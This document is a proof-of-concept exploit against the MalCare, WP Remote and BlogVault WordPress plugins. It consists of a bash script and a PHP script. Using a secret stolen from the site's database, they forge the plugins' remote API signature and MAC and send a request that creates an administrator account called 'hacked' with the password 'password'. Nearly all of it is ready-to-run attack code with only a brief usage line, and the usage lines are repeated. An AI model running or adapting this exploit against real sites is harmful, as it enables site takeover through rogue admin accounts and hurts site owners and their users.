Running the PoC
bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
Running the PoC
bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
#!/bin/bash | |
# poc.sh | |
# Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
SITE_URL=$1 | |
PLUGIN=$2 | |
SECRET=$3 | |
if [ -z "$SITE_URL" ]; then | |
echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
exit 1 | |
fi | |
if [ -z "$SECRET" ]; then | |
echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
exit 1 | |
fi | |
case "$PLUGIN" in | |
"malcare"|"wpremote"|"bvbackup") | |
# Do nothing or perform some action if the value is valid. | |
;; | |
*) | |
echo "Plugin must be one of 'malcare|wpremote|bvbackup'." | |
exit 1 | |
;; | |
esac | |
function addAdminUser() { | |
php poc.php "$SITE_URL" "$PLUGIN" "$SECRET" "manage" "adusr" '{ | |
"args": { | |
"user_login": "hacked", | |
"user_email": "[email protected]", | |
"role": "administrator", | |
"user_pass": "password" | |
} | |
}' | |
} | |
addAdminUser |
<?php | |
// poc.php | |
declare(strict_types=1); | |
// No need to change this. | |
const RANDOM_ACCOUNT_KEY_32_CHARS = 'KDogQ121k33pm7CBqSCnJcPo2SWfzC7v'; | |
// No need to change this. | |
const TIMESTAMP = 1893456000; | |
// No need to change this. | |
const BLOGVAULT_VERSION = '1'; | |
$input = $_SERVER['argv']; | |
$site_url = $input[1]; | |
$plugin = $input[2]; | |
$stolen_secret = $input[3]; | |
// This corresponds to the actions the remote API can perform. | |
// See BVCallbackHandler:routeRequest(). | |
$blogvault_wing = $input[4]; | |
// This is the "sub-action" each feature can perform. | |
// See BVManageCallback::process() as an example. | |
$blog_vault_method = $input[5]; | |
$params_as_json = $input[6]; | |
$expected_auth_sig = md5($blog_vault_method.$stolen_secret.TIMESTAMP.BLOGVAULT_VERSION); | |
$expected_mac = hash_hmac('md5', $params_as_json, $stolen_secret); | |
$postData = [ | |
'bvplugname' => $plugin, | |
'pubkey' => RANDOM_ACCOUNT_KEY_32_CHARS, | |
'rcvracc' => '1', | |
'wing' => $blogvault_wing, | |
'bvMethod' => $blog_vault_method, | |
'bvTime' => TIMESTAMP, | |
'bvVersion' => BLOGVAULT_VERSION, | |
'sig' => $expected_auth_sig, | |
'bvprms' => $params_as_json, | |
'unser' => ['bvprms'], | |
'bvprmsmac' => $expected_mac, | |
'bvprmshshalgo' => 'md5', | |
]; | |
$ch = curl_init($site_url); | |
curl_setopt($ch, CURLOPT_POST, true); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
$response = curl_exec($ch); | |
// Remove the "bvb64bvb64" prefix and suffix | |
$response = trim($response, 'bvb64bvb64'); | |
// Base64 decode the response | |
$response = base64_decode($response); | |
// Remove the "bvbvbvbvbv" prefix and suffix | |
$response = trim($response, 'bvbvbvbvbv'); | |
// Unserialize the response | |
$responseArray = unserialize($response); | |
// Convert the response array to a JSON array | |
$jsonResponse = json_encode($responseArray, JSON_PRETTY_PRINT); | |
echo $jsonResponse; | |
echo "\n"; |